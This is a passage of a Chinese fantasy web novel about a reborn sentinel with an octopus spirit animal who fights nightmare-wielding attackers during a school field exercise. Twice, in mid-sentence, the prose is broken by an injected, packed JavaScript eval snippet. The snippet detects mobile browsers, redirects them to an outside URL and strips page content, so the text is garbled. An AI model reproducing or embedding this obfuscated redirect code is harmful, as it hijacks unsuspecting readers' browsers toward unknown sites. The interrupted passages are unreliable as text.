“找……?”秦罗弗眼睛眨巴,反应了几秒,表情遽然严肃,“怎么回事,有人找你麻烦了?是哪个?” 贺旗也从铺位里探头,用目光给他从上到下核检一遍,末了开口:“看着没少肉掉毛。说说?” 客惜斓两只手草草比划着猫耳朵形状和大黑豹子奓毛的模样:“豹子和猫,那两个A级。” 贺旗了然,翻过一页膝上摊着的小说:“那个拽得二五八万的黑豹和成天猫他背后皮笑肉不笑的猞猁?” 秦罗弗仍皱着眉:“他俩找你干吗了?” 客惜斓没立即答,手伸进兜一把捞出林悬眠给的糖,掌心敞开,亮给他俩看:“吃吗?牛奶糖,长毛猫给的,没沾上毒。” 然后三言两语描述了一遍过程。 俩室友听完这影影绰绰别地世家八卦,脑补讨论出了一摞狗血细节。 贺旗一啧声:“我说他俩必有勾兑吧。隔壁班那些小向导都跟我说边越脾气怪得很,整天眼睛瞪得像铜铃,跟他讲话爱答不理,他们都不敢跟他对上眼。原先想豪门出来的A级嘛,有点摆谱也正常——还是个中二病。” 秦罗弗摇摇头,打起火的敌意一下子扼熄了:“竟然是个脸皮比纸薄的!他会不会其实是害羞,不好意思跟向导说话啊?——你反思呗贺旗旗,做鸟有点信念感,人黑豹过得比你像个仙鹤,整天扎向导堆里刨瓜吃瓜你是一点仙气不沾。” 贺旗嗬嗬冷笑,合上了膝头书本:“少来,你就羡慕嫉妒我向导缘好吧!你哥丰神俊朗,身高腿长,有情商无不良嗜好,招向导喜欢很正常。” 秦罗弗不甘道:“我也没有不良嗜好啊!” 贺旗不紧不慢:“这话拿去对着你的灰太狼说呢,红红。” 客惜斓就在他俩互相贫嘴埋汰的日课里埋头收收拾拾,没一会儿热心红毛想起屋里头还缺个人,又关切起来:“哎对,霍河樵还没回呢。我先前以为你俩一块又上图书馆了,天都黑了,他怎么还搁外头?” 客惜斓从收拾里抬眼:“我今天没有排班。” 言下之意是不知道。 秦罗弗一想,都在校内也没别的地方可去,默认了他又泡在图书馆里:“真用功。” 贺旗又倚回去接着翻书,忽然间漫不经心、突兀地接话道:“你们没一块值班,谁知道他到底干什么去了。” 说完“啪”地合上书,也没理人,早早地拉上帘子,宣告今晚要早睡补觉。 第二天课后到图书馆轮值,客惜斓状似无意地问起:“你昨晚回去好迟,一晚上都在图书馆吗?” 霍河樵放书的手一顿,回道:“嗯。” 过了会儿主动转头解释道:“我还是不太习惯在寝室里看书。” 挺正常的,学校图书馆里多的是自习的学生,这话没有任何不妥。 客惜斓看着他,从那双暗褐色眼睛里没找出任何情绪波动,霍河樵仿佛也并未放在心上。 之后的几天霍河樵也是如此,门禁前半小时才回到寝室。 客惜斓其实并不太关注这个习惯把自身存在感降得极低的室友,这几天留心起来,忽然发现他近来很少待在寝室。 这天半夜客惜斓醒来倒水喝,敏锐觉得动静不对,室内刨去醒来的他,只铺着一个人浅浅的呼吸声。他发现霍河樵和贺旗的床帘敞着,两人都不在寝室里,便轻手轻脚地潜了出去。 墨渍似的一团章鱼状生物黏上墙,听着那两个人埋进夤夜里低低微微的对话声。 暗影覆盖下,客惜斓的瞳孔渐渐缩起。 贺旗在警告霍河樵。 那声音一改白日里清闲调笑,冷冷道:“……你隐藏实力进校到底有什么目的我不知道,但这所学校的能人、背景强大的人远比你想象得多,如果你打的主意是和学生有关的,我奉劝你最好放弃。” 与之相反,霍河樵仍然沉默,很少开口说话。 贺旗转而道:“马上要野外实践、离开学校,如果我发现你有任何可疑举动,我会第一时间上报,校领导不会允许这里的一部分人出意外,尤其是——” “跟你们无关,”静夜里霍河樵的声音终于响起,音量很低,听不出感情,“不会跟你们扯上关系。” 他没有明说“你们”是指哪些人,但客惜斓直觉,就是指他们这间寝室里的人。 贺旗待要开口,被霍河樵打断:“至于隐藏……你不也一样吗?同等级阶数、同籍贯、同类型,容易分到一间,你是为了和秦罗弗一个寝室才和他报一样的吧。” 这回轮到了贺旗沉默。 霍河樵接着道:“我也有……有我的理由。我们互相不要妨碍,我不会告诉别人。” 又静片刻,贺旗反问他:“你在威胁我?” “……或者,”那么细的摩挲声只能来源于衣物,在那静弱的响动里,霍河樵的嗓音似乎极为疲惫,“你也可以现在就处理掉我。” 听觉里是长久失去人声的沉默。直到捕捉到换脚抬步的动静,客惜斓悄然滑下墙,以稠暗液体形态原路迅速返回寝室,黑漉漉一滩铺陈在床上,剥出一具身着睡衣的少年人形,呼吸均匀、柔缓,假装从未醒过。 - 一年级新生对这次野外实践课程整体表现出了秋游般的兴奋。“秋游”这个词是室友教他的,秦罗弗跟他说P市的枫叶和银杏叶在秋季有多绚烂漂亮,遥远处看山像浸在透明海水里金红茂密的珊瑚,一群小学生会在老师带领下背上包,走进珊瑚丛里捡垃圾。 客惜斓想象了一下那个画面,一只趾高气昂的丹顶鹤踩着满地红脆落叶、衔起矿泉水瓶子哐当甩进鹦鹉螺壳,没绷住脸颊一鼓,哧哧笑。 那之后贺旗和霍河樵并没表现出什么异常,这个寝室实际上围绕着多话开朗的秦罗弗运作,看起来与先前无二。 似乎贺旗也没有告诉秦罗弗关于霍河樵隐瞒等级的事,不知道是私下谈妥了,还是怕过分紧逼反而激怒对方、做出不可控的行为。 ——等级。客惜斓边录入书目表格边思索,耳边响着机械的敲字声。霍河樵报的是B-4,如果只是B-5,没有什么隐瞒的必要,除非他就是精确奔着他们这几个B-3左右的人来的,但他说过自己的目的和寝室的人无关,也没听说他特别关注年级里哪个B-3、B-4。那天夜里贺旗没有明说,也许是暂时不能确定具体阶数,但他只能是A。 贺旗不选择跟他直接动手,应该是B-4或B-5。 客惜斓自顾自分析,对此也没有多大的心情起伏。将近两个月,他仍然对亲密的寝室集体生活和校内同学相处感到淡漠,这片海域热闹鲜艳,但对他而言很陌生。 像灿烂的鱼群有时从上方掠过,给专注爬着海底沙砾的他投下流动即逝的影子。 他坐在教官宿舍的餐桌前,吃饲养员从网上新学的蛤蜊虾滑。鲜红的胡萝卜切丁,点缀在淡红嫩滑的虾肉上,填进开口的蛤蜊里,盘底浸满白色高汤。[注1] 他坐在装甲车后箱,背着辎重装备,和兴奋唠嗑的同学们一起被载往野外实践的目的地,看他们拧眉毛撇嘴地拿出自己包里的校研营养剂,交换各自比较能够接受的口味。 客惜斓两眼耷拉,心情相当沮丧。这次外出是随机分配组队,且到时间还要打乱重组,除了哨兵和向导、带队教官和学生的比例外没有固定要素。第一回他就没有分配到杭知澍所在的小队,举目望去,相对来说打过些交道的同学就只有—— 黑豹哨兵黄澄澄的眼睛瞪着他,伸手,气汹汹地拽动一下自己的背包带。 上次的小组作业他不仅参与了,还被坑着分配到了最难做的部分,一连熬了两三个结实的夜,到白天眼冒金星,全靠A级精神力撑过训练。 客惜斓发现脸皮薄包袱沉的黑豹少爷其实特别好拿捏,尤其是他的外置大脑猞猁跟班不在的时候。 这次野外课程规划主要分为两个环节,其一是野外生存,其二是作战演练。一年级的哨兵向导们饺子跳锅一样被成排装甲车抛下地,徒步进入繁茂山林,卸下装备,开始搭建露营所需的帐篷。 只能期望二次分组能和杭知澍一起了。 八爪鱼幽怨叹气。 他们预计前后要在山里待四天时间,各个实践小队的带队教官是哨兵和向导各一名,不同队的教官之间互相保持通讯,和上方学校派出的飞行器配合,实时监控地图,确保分散在整座山各处的学生小队安全。 夜间值哨,客惜斓调节颈上扣着的黑色颈环型感官控制装置,把五感开放程度提升,覆盖营地周围三十米。刹那间昆虫振翅的频率清晰可闻,叫了大半个晚上的嘶哑鸟鸣也被放大,草叶间蛛丝虫网在夜风下颤晃,夜晚降温凝结的露珠攒满一颗、坠下叶尖,所处的树林散发出生涩潮湿的气味,植物腐败的根叶、动物遗留的粪便和半腐烂的躯体、不知名细微野花,所有这些混淆在一起,形成夜幕下林间庞大的信息量。 凌晨三点,快到换岗的时间点了,还有十五分钟,他听到属于人的跫音一步步踩着落叶和野草接近,一个不太熟悉、一起上过公共课的哨兵同学的声音响起:“到点了,你快去休息,换我来吧。” 他才刚刚看过通讯终端上的时间,因此没有着急收回精神力覆盖、撤掉周身护盾,答道:“还没到点,不急。” 那同学似乎还想说什么,伸出的手快要碰到他肩膀,客惜斓倏然转头,闪避开,看着这张白天扎营时打过招呼的脸,耐心地又解释了一遍:“我在释放精神力的时候体表也可能带有毒素,不太方便直接接触,白天跟你说过的。你还有什么事吗,同学?” 同学是一个万能的称呼,能用来叫一切出现在眼前不认识或记不清名字的同龄人。 同学收回手,挠挠头发,局促道:“抱歉抱歉,我忘记你精神体特殊了,一习惯就……我刚刚看时间已经差不多了,咱俩现在换吧?” 客惜斓不是很明白眼前这人为什么这么积极,低头又确认了一眼屏幕上数字:“还有十分钟啊。”但想着教官说过要多关心帮助同学,遂刻意主动表露出关心:“你通讯器时间是不是不准了,要不要拿来跟我的对着校准一下?” 同学大约是顾忌他此刻荧荧泛着毒光,略微倒退了一小步,笑着摆摆手道:“不用、不用麻烦,我的没坏,我就是第一次出来野外有点睡不着…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418403|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你接着站哨吧,我过十分钟再来。”说完便转身返回。 八爪鱼顿时有点失望,但不多,转了个身回去继续站着。十分钟后,那同学准时过来,很注意地没有和他直接接触,互相点点头便完成换岗。 客惜斓回到帐篷,一夜无梦,睡到了早晨天亮。 他爬起来收拾好帐篷,跟着小队继续迁移,听到不少同学抱怨说昨晚睡得奇差,噩梦连连,耳边总有奇怪的说话声,朦朦胧胧,始终没法听清内容。黑豹少爷的脸更臭了,眼圈浮出,像极了交完理论课作业那天。 “昨晚营地附近的鸟叫得真瘆人,今天赶快换个地方吧。” “希望别跟来。” 他听到同学说。 他目光转了一圈,发现同队皆呈现出三两成群的饱和状态,唯独剩个黑豹哨兵伶仃孤峭地站在半人高的草里,没个说话的人。当即升起了一种虚伪的关怀心情,决定找他释放一下同学爱。 客惜斓沙沙地涉着草过去,很自来熟道:“长毛猫怎么没跟你一起啊?” 边越听到脚步声,以为他要路过,正打算避开,没料到这人会主动搭话,狐疑地皱眉打量一番,心里嘀咕着他又憋的哪门子坏,半天才吭声,说的却是另一件事:“……你昨晚有分配到守夜放哨吧,没觉得有哪里奇怪吗?” 客惜斓眨眨眼:“哪方面的?” 黑豹哨兵眉头凝着:“说不上来,但是觉得不舒服,好像整晚都有人盯着一样,我昨晚也没睡好……” 正说着,他看向对方:“我怎么看你挺精神的,你昨晚没做梦吗?” 客惜斓摇摇头。 “奇怪了,为什么你没做梦?”他喃喃道。 “这有什么,陈教官也没做噩梦啊。”客惜斓顺口答道。 陈教官陈森昱是他们的带队哨兵教官,A级树蝰精神体。 正因如此,他才首先考虑的是新生的野外适应性,他自己是雇佣兵杀手重生,而陈教官久经沙场,跟其他人首要的区别就是经验。 “基伍树蝰……蝰蛇……蓝环章鱼……”边越一顿,“都,带毒的?” 他忽然想起客惜斓凑过来时问的第一句话:“林悬眠,林悬眠有个技能就是隐身……” 他声音渐低,没再往下说。 “……你怀疑有人盯上我们这群学生了?”客惜斓当即明了,换成了气声。 甚至不需要隐身,山间树林环境里,大多数森林动物的拟态都能做到隐入环境的监视。 “……不能吧,”客惜斓都有点郁闷了,很抗拒地抛出假设,顺口先进行一个自我说服,“首先得排除是不是提前进入演练、这些都是学校计划安排好考验我们的。” “毕竟开学抽签那次学校也让你家的长毛猫流入票池吊打B级了呀!”他握拳虚抵着下颌,开始阴暗揣测,“我看学校挺喜欢整点花活出其不意的。” 好容易盼星星盼月亮盼到了和教官一起出门,杭知澍全然没影不说,现在还有面对未知敌袭的可能。 郁闷!生气! 八爪鱼怨念沸腾,关在精神域里的克莱因噼啪甩腿、噗噜冒泡。 “找教官,得去报告给教官……” 边越表情益发凝重,豹瞳缩起,想到了就下意识要迈步,加速往前走去,猝不及防背包被身后人发力拽住,差点摔倒。 “你!” 他回头,看见蓝环章鱼哨兵抬起漆黑沉沉双眼,刘海的阴影压过鼻梁,黑手套紧紧攥着他背包一角。 客惜斓口型变幻,用气音微不可闻地说道: “咱们掉队了。半径十五米,有人布下了特殊隔绝空间。” …… 杭知澍正带领学生在山间走,听见前头传来徐榛的抱怨声:“破玩意早晚不坏,关键时候嗝屁了。” 徐榛把队伍归拢,茫茫然的学生崽子都被赶到两米圆内、自己和杭知澍包围形成的保护圈中,让杭知澍拿出通讯器试试。 “……接不上学校。” 他们和山顶上空的飞行器断联了。 杭知澍打开通讯录,正打算按最近一次通讯确认的坐标点就近联系其他带队教官,接听界面霍然跳出,一个电话已经打进来。 “老陈?” 茂密山间另一处,外表三十多岁、寸头短发根根竖起的陈森昱站立在众多或坐或躺、精神萎靡的学生面前,沉声快速道:“有敌袭,校内断联,我这有两个小孩丢了。” “敌人有通过噩梦错乱精神、引发失控半附体状态的能力,如果中招可能会突袭自己人。” 陈森昱锐利的冷黄绿色蛇瞳环视过眼前几名刚被打昏、身上鳞羽绒毛未完全消退的学生,边趁着信号未断言简意赅道: “蝴蝶,开启蝶巢。” …… 又给自己丢了一个“无我清心”,维持住神智清明,贺旗拖着受伤的左腿,扶着树干艰难地继续往前走。 和教官走散后队友突然发疯,无差别互相攻击,他借风力脱身乱局,却也在危机四伏的山里落单。 正打算找个树丛充当遮障藏身,把难吃的营养剂掏出来啃两口回血,微俯的身后骤然间投下大片郁暗阴影。 林间落叶娑然飘下。那张朝夕相处的熟悉面孔注视着他,黑发下原本呈色暗褐的眼瞳隐隐透红。 “你……” 对方一言不发,直接抬起了手。 13. 第 13 章 半径十五米,精神力无法继续延伸向外。 周围景物四合,树林、野草、灌木丛,不知何时长势改换,向所站之地包拢,形成一个蓊翳窸窣的暗绿兽笼。 客惜斓瞳孔在眼仁中泡胀般放大、眼仁在眶中一点点滚动。他听到水声,下落,流滴,质地黏稠而速度沉缓的水,泥水。 他始终攥着边越的迷彩背包,当机立断道:“跳到后面树上,黑豹!” 起跳超过五米高,他们悬起的四只脚几乎擦着从骤然变软地面窜出的一大张腥冷尖利巨口而过,边越的冷汗从下颌滴下,站在距地面约六米的大树横枝上,雨点般坠进软化塌陷的森林地面。 ——不,此刻已经不是地面。 是沼泽! 枯叶泥水,擦着链锯般的鳄背急速滚过,那无法看清完整形貌的凶悍精神体无声游曳,浓浓地重没进泥沼之下。 边越心如擂鼓,客惜斓凝目盯着绿暗发褐的沼泽水面,提醒道:“注意脚下,随时准备跳树改变位置,调整你的呼吸和精神域。” ——“这说明你刚猜得完全没错啊阿豹,也说明你已经受到了那个用梦魇影响他人精神域的敌方向导影响。” 他隔着鼓胀的迷彩背包,脸几乎挨在边越身侧,感受到哨兵躯体下强烈过速的心跳,阴阴凉凉道:“要是你突然失控发癫了,我会带毒蛰你一下让你清醒点的。” 边越刚打算反驳,属于黑豹的锋利精微视力捕捉到沼泽水纹突然齐刷刷逆着脚下树木的根部流动,他没时间思考,身体先于头脑反应,当即跟腱发力,后蹬,跳跃向平行距离五六米开外的另一棵等高树木。 大敞的鳄吻从树根处涌现,泥水飞溅,狠狠咬住,悚然刺耳的一声和剧烈震荡后,林鸟嘶叫惊飞,树叶簌簌掉落,树干从下端被咬折,断裂开一半,断口处迸溅木屑,整棵倾斜、歪倒在邻近树上。 客惜斓迷彩服下皮肤涌出吸盘,挂件般牢牢扒在边越双肩包上,腕足化的双腿软趴趴地荡了几下:“好险好险!你跳得好哇阿——” 话音戛然而止,他看着边越缓缓返过脸,增长变尖的牙齿间呼出重气,漆黑豹耳从头顶两侧竖起,金桔色豹瞳正染上诡异的血红。 他松开吸盘,手脚伸长变软,柔软灵活地勾绕上邻近树枝,以一个液态蜘蛛般的姿势盘在纵横枝杈间,肋间延伸出的肉橘色褐斑腕足将上半身撑高,选择和黑豹哨兵拉开距离,并没有如之前预告的那样直接放毒——因为边越只是扶着树干,动作迟滞,喉咙里不断发出低沉痛苦的兽吼,看起来还在和入侵精神域的梦魇对抗。 树下的沼泽泥水回旋,鳄鱼还在巡弋。奇怪的是那条凶猛的两栖类精神体并未趁此机会再次发动攻击、咬断他们栖身的树。 客惜斓若有所思。 正在这时,边越身后的浓密树叶中伸出一双修长而骨节分明的手,白皙、布茧,仿佛是自树叶深处化生而出。拟态一点点解除,剥离出穿着丛林迷彩的人影,蓬乱略长的灰金色头发披散,三角状灰黄猫耳尖端竖着漆黑簇毛,一双褐金猫眼飘灯般亮起,一看见客惜斓就盈盈弯成月牙:“你好呀。” 来人面孔挂着微笑:“少爷这是怎么了?”说着双手贴近,就要搀扶起躬身支撑着树干的边越。 客惜斓也欣然、亲昵道:“你终于来啦!我们刚刚还聊起你!” 猫耳猫眼的青年笑眯眯道:“这里不安全,我要带少爷先出去,你要一起吗?” “我吗?”客惜斓满脸开朗,“我就不必啦!” 然后抬起那条未完全触腕化、肢端还好好戴着黑手套的诡异柔韧右手,指指昏沉的黑豹哨兵,模仿着对方脸上的笑容道:“他也不能跟你走哦!” 精神体附体状态下,精神力凝结成淡淡荧光蓝的外附壳层,扩出身形十几厘米,隐约可见是只头冠高耸如教皇冠冕的大章鱼。漂浮在迷彩服上、哨兵全身的蓝环被骤然间点亮。 一圈圈幽蓝光环下,少年呲出一对白森森尖牙,手指挪向了他: “你也,不准走。” - 至多B-5级别的向导,短时间内无法成功操控A级,唤不醒边越的情况下必须尽快将这名向导解决,从根本上驱除“梦魇”。 “昨晚跟我唠的那个也是你吧?”客惜斓把对方模仿来的猞猁式皮笑肉不笑自己三次加工改良,天真又嚣张地学在了脸上,仍旧笑嘻嘻地问道。 那向导伪装未卸,嘴里吐出林悬眠的声音:“是我。你们这群人里除了你和那个树蝰精神体,全都中了我的‘血红梦魇’,不用担心你的其他同伴,他们现在一定已经失控,正在自相残杀了。” 他瞟向眼瞳发红涣散的边越:“可惜A级的精神域,不能那么快占据,为我所用……” 梦魇加上模仿,占满了两个技能位,看来这向导并没有人工硬扛之外把边越带走的手段,不必提防他突然消失。 亮出蓝环是生物本能的威慑。章鱼腕足闪电般交替窜出,看起来假林悬眠只能模仿声音、样貌和低于自身级别的技能,也就是除了属于猞猁哨兵的C级技能“隐身”外,并未拷贝下其B和A级技能,但狡猾地趁着边越深陷精神域对抗直接拿他充当肉盾,意图让腕足带毒的客惜斓投鼠忌器,徒然地消耗掉精神力。 假林悬眠身后扇动着灰黑交融的鸟类翅膀,紧贴着边越悬停,不断闪避从各个方向袭来的蓝环章鱼触腕,一分多钟、双方数十次突击与闪避回合过后,假林悬眠头顶上方直径约成人一掌长的树枝从相对薄弱的中间断裂开,小半个树冠跟着垮塌,自上方哗啦坠下! 顶着林悬眠脸的鸟类向导迅速闪避,抖开翅羽上沾到的树叶,面上显现出嘲讽之色。直直下坠的带冠树枝砸进沼泽,泥水噼啪飞溅,树枝扎入水底,一侧如僵死虫足硬茬茬支撑在水下,一侧的树枝刺出水面,刺向空间隔绝后不再流动的天空。这树枝倒伏的高度超过了鳄鱼方便翻越的高度,且枝叶繁密错杂,形成一道栅栏,水下窥伺的鳄鱼迅速规避障碍物游开。 客惜斓恍若未见,仍然重复着以腕足突袭的过程。大约又两分多钟,又一大把携带树冠、体积更大、枝杈更丰富发散的的树枝哗啦一声砸入沼泽,与刚才那束形成交叉,天然围栏般将泥潭切割。 鳄鱼继续掉头闪避,可巡游范围被裁切得更小。 假林悬眠讥诮地扑打着翅膀:“你除了打折树枝不会别的了吗?” 客惜斓忽然想起室友,心说鸟人果真是打起来最招人烦的,要是黑豹还顶用就好了,他们猫科抓鸟一掏一个准,总比一只海鲜擅长—— 鳄鱼的头部重重地撞在了树根上。 不止如此,泥水中巨鳄浑身痉挛般激烈甩尾,仿佛中枢麻痹,肢体不受控制,撞向可自由活动范围内这唯一一棵树木,大树没坚持太久,几次震颤过后,开始正往鳄鱼撞来的方向倾倒! 巨大的重力势能向下,直直砸向鳄鱼,鸟类向导从意识到树有折断趋势的一刻起就想回援同伴,但看着蓝环章鱼哨兵大大的笑容,猛然间意识到那起了失控般诡异效果的正是树枝上借由抽打反复抹蹭了数遍的河豚毒素! 即使身有精神力强化的盾甲,树枝上的毒素顺着泥水,历经数分钟,缓缓流入了被限制行动范围的鳄鱼口中。 他心一横,在倒塌的疾风落叶之中,选择自己振翅向上飞开。 那是相反的方向,他赌这只章鱼不会眼睁睁看着失去行动能力的同伴坠入毒潭! 蓝光熄黯,精神力全身盾甲消失,他看见那下倾树枝上盘绕的章鱼哨兵坍软成一滩漆黑黏糊的浓墨,仿佛渗进树皮般整滩消失。 眼前一晃,在和黑豹哨兵距离超过两米之际,一根柔软湿黏的触腕紧紧勒住了他的脚踝,天旋地转,仿佛乘坐S形轨道的过山车,从正在下行的车尾看着已攀上巅峰的车头,他看着被另一条极限拉长章鱼触手拽住双肩包提手的边越被精准抛上树枝、吸附、晾毛巾般挂住,自己随着长度收回的触腕飞速来到了人形八爪鱼面前。 顶着林悬眠脸的伪装已经消散,他不顾已经沾染上剧毒,趁着尚未毒发,用灰白羽状头发下猩红的双眼恶狠狠瞪视着客惜斓。 恶魔般的黑发白皮肤少年露出牙尖,嘻笑道:“你怕我的毒啊?我挨着黑豹的时候你都不敢现身。虽然不知道为什么,但梦境类的技能在我身上,从来就没有起效的。” 他顶着那双猩红轮眼孤注一掷的注视,颇为感慨地接道:“嗳——让你作威作福了不少吧?看你把我们同学折腾的。” “但是从现在开始你的低级梦魇,没用了。” 黑翅鸢向导望着那双兴奋异常、却和自己的精神蛊惑全无关系的漆黑眼睛,全身被多条触手缠捆,红眸深处涌上绝望,他身体已不自觉颤栗,牙关打颤,仍威胁般地脱口而出:“你以、以为抓住我一个,就、就有用吗!其他的‘我’已经在别的地方同样发动了梦魇,你、你同伴里拥有剧毒精神体的又有几个!” 他咬牙切齿,用力把话尽可能流畅地说完。 “其他的‘你’,分身……?”客惜斓眸光一暗,其中一条腕足毫不手软地捏了捏黑翅鸢向导脆弱的咽喉,引起痛苦的呻吟,“不对,这手感保真,是人……” 他深渊般的黑眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418404|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轱辘转动:“复制……克隆体?” 在前世,他晋入A级后,从高层口中听说过组织曾经也做过克隆方面的尝试,但效益远远低于成本,品控太低,维护成本高,最终被废止。 他不甚了解内情,莫非这类所谓的克隆实验就是把某种精神体偶然分化出的有价值技能通过人工筛选批量复制,放大用途? 通过偶然一只变异出梦魇技能的黑翅鸢,开发出一窝噩梦军团黑翅鸢? 这波鬼玩意到底打哪儿来的? 丝毫没顾及自己也曾是滋扰军方的鬼玩意其中一员,八爪鱼嫌厌地想道。 黑翅鸢向导经过痉挛抽搐,已然萎靡,不再挣扎,客惜斓开始倒抽回毒素,确保他只是失去行动能力而不至于当场归西。 麻烦得很,留着给教官们押回去审吧——希望别死了。 至于另一个,他用腕足把全麻完毕的黑翅鸢运送地面,鳄鱼哨兵中毒,精神体技能崩解,沼泽消失,环境的封闭正逐渐消融和还原、重新回到真实的树林中。 他像台吸尘器任劳任怨地回收起环境中的剩余毒素。 ——浸泡过蓝圈八爪鱼的水缸换水时也要戴手套哦! 要像杭知澍那样科学养殖! 回吸的过程很快,主要是怕被当毛巾对折晾挂在树枝上的边越让背包负重压太久,心脏、脊椎压迫,供血不畅大脑缺氧,得赶紧清理好把阿豹放下。 阿豹已经很憨了,再傻还得了。 边越迷迷瞪瞪地睁眼,看见客惜斓哭坟一样跪坐在身旁,黑眼珠泪光莹莹,假意哽咽道:“……已经,不用再战斗了!” 边越猛然坐起,感觉四肢还残留着发麻的劲:“我靠!我腿怎么麻了,你真的蛰我了?” 客惜斓不满地鼓腮:“你好没良心,为了不蛰你我一个人又是掏鸟又是电鱼,在你沉浸在过去十几年人生的追悔里不可自拔的时候我干了多少事!” “掏什么鸟?”边越迷茫道,“那鳄鱼你解决掉了?” 他顺着客惜斓的大拇指看去,一个浑身是泥的男人躺在地上,正面朝下,被折断的大树压着。 “……死了?” “鳄鱼背甲挺结实,刚探了一手还有气,不知道能不能坚持到牢咯。” 边越长出一口气,稍微松懈后,目光复杂地转向他:“你怎么解决他的?” 他们都能判断出来,那隔绝改变环境的精神体技能必然是A级。 “还能咋整,用毒咯。” 能够单独切割出环境的精神体技能固然强大,维持它却要持续消耗大量精神力,这种情况下是无法再用出其他技能的,鳄鱼哨兵只能完全附体化后开启坚硬精神力盾甲潜在水下,做出一些生物本体范围内的攻击。 他和黑翅鸢同伴其实一直在等对手落水,以客惜斓的经验,那沼泽必然带有特殊之处,一旦陷进,恐怕无法脱身。 而沼泽太大,毒素被水稀释后无法在短时间内作用于鳄鱼,于是他想方设法在不引起注意的情况下,看似针对黑翅鸢向导的攻击,实际是要把鳄鱼的游动范围规定到他方便控制的水域。 边越听完客惜斓的分析和作战思路,神情更复杂:“这些你从哪里学的?” 大家不都是第一次野外实践吗! 客惜斓腼腆而隐秘一笑,凑近了些,和他徐徐道来:“偷偷告诉你,其实我上辈子是个牛逼哄哄叱咤风云的大哨兵,被邪恶反派迫害致死,带着丰富的作战记忆重生……” 边越:“……” 边越:“滚滚滚!看小说看多了吧你,不说就不说扯这些!” 客惜斓笑眼弯弯地坐回去——他说的可都是大真话! 只不过反派固然邪恶,他自己虽是误入歧途求生,却也不算什么好东西。 八爪鱼随口掰扯道:“学校图书馆看的啦,我在图书馆勤工俭学嘛。” 他确实有在看书,虽然没室友泡图书馆泡得那么勤,难得有机会上学,这辈子决心摆脱半文盲设定,不得趁机多给自己浇点文化。 谁知边越一愣:“勤工俭学?你家不给你生活费吗?” 轮到客惜斓无语了:“万恶的……资本家臭味熏到我了大少爷,如果你爹妈肯多招一个保镖让我给你打工也不是不行的。”他顿了顿,是真的好奇起来:“像长毛阿猫那样的你家一个月给多少钱?” 边越:“啊?不清楚,好像不是很多,应该有两万吧。” 客惜斓作出可怜兮兮的祈祷状:“老爷夫人还招人吗?都是同学我刚还救了你内推一下吧!” 边越:“……” 14. 第 14 章 待到四肢麻劲缓过,边越站起身,去检查树下昏迷的鳄鱼哨兵。 客惜斓跟着他走过去,提了一嘴:“他好像先前受过伤,应该是和我们这边人交手过,但是现在这样不方便挪动,我就没仔细察看。” 边越一听,以隐隐低落和自我埋怨为主的复杂情绪稍有缓解,一个B级以一挑二战胜一A一B,哪怕主要靠毒,听起来也太不可思议。 显得大意中招、全程离线的他特别没用。 客惜斓光看这人表情都知道在想啥,又嘿嘿笑道:“所以说要有一颗勇于跨级挑战的心,万一前面已经有人砍了九十九下,就差临门一刀了呢?” 虽然少爷不聪明,但回去和长毛猫一复盘,万一发觉他身上异常怎么办?他还不想把梦境类技能免疫的事情透露出去,只希望别人都当他和陈教官一样是单靠毒性免于暗算好了。 更别一核查,怀疑到他此前十七年颠沛流离人生上。 不能给饲养员招麻烦啊。 边越蹲下去检查鳄鱼哨兵,谨慎地没有直接上手,近距离放出的精神触梢似乎触及到了什么,有些疑惑地“嗯”了一声,才喃喃道:“冷气?” 正要跟着黑豹少爷转头去察看另一只敌人,客惜斓感官微动,是精神触梢感知到了微弱但熟悉的精神力。 他精确地冲那丝精神力飘来的方向抬眼,大约十秒钟后,半空中飘来星点淡绿碎粒。 “提提!” 他迅速收敛周围触梢上沾附的微量毒素,伸出戴着黑手套的手,冲那淡绿色蝴蝶摇摇。 “耶?你不是提提吗?”蝴蝶轻盈飞下,落到他眼前,客惜斓睁大眼仔细端详,很快发现这只蝴蝶裹在浅浅荧光下的蝶翅并不如从前看过的杭知澍精神体那样细节丰富,长得比较潦草匆忙,只具一个大差不差的形状。 但这精神力的熟悉感不会出错。客惜斓稀奇纳闷地打量片刻,眼珠子跟着蝴蝶翩跹忽上忽下,脑门灵光一冒:“你是教官精神体的分身?青提分提?” 他右掌一拍左拳,恍然大悟:对欸!像蜜蜂精神体和蚂蚁精神体都有几率发生变异,能分离出批量的工蜂工蚁用于执行一些侦查和传递信息的工作。 莫非杭知澍的精神体也具有类似功能? 青提这种水果本来就是一串几十颗,取这名字除了颜色相仿,原来还有这层意思在。 想通了其中关窍,客惜斓又脸欠地去招惹分身蝴蝶,呼地凑近,携来对脆嫩蝶翅而言清凉而富有冲击力的气流,拿覆着柔软黑发的前额虚虚地去抵它:“……那就叫你第一小提,怎么样?是不是很有校园气息?” 第一小提,第二小提……不知道扑棱提子能分裂出多少只小提。 第一小提啪叽一声,扑在了他发丝微翘的头顶,叮住,蝶翅扇扇,簌簌地掉下精神力凝结的淡绿光粒,随着客惜斓重新抬头起身、转向、朝边越走去,像威风凛凛操纵着一台两脚兽。 边越从休克的黑翅鸢向导身侧站起,刚要开口,一回头瞧见客惜斓头顶蝴蝶而来,登时大惊,连续后蹬十几米:“寄生类?!” 八爪鱼携头顶蝴蝶一齐歪头:“少爷又犯的什么毛病?” 